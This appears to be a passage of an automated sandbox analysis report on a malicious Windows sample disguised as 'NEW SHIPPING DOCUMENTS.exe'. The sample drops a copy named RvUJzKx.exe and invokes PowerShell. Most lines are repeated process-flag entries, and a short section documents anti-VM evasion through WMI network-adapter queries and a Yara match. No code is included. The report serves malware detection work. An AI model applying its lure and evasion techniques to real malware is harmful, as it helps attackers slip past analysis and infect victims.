Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 5552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RvUJzKx.exe PID: 6492, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 2C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 2D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 2C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 91E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 71E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: A1E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: B1E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: B8C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: C8C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: D8C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 1510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 3220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory allocated: 3090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: 2A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: 85D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: 95D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: 97C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: A7C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: AE60000 memory reserve \| memory write watch	Jump to behavior
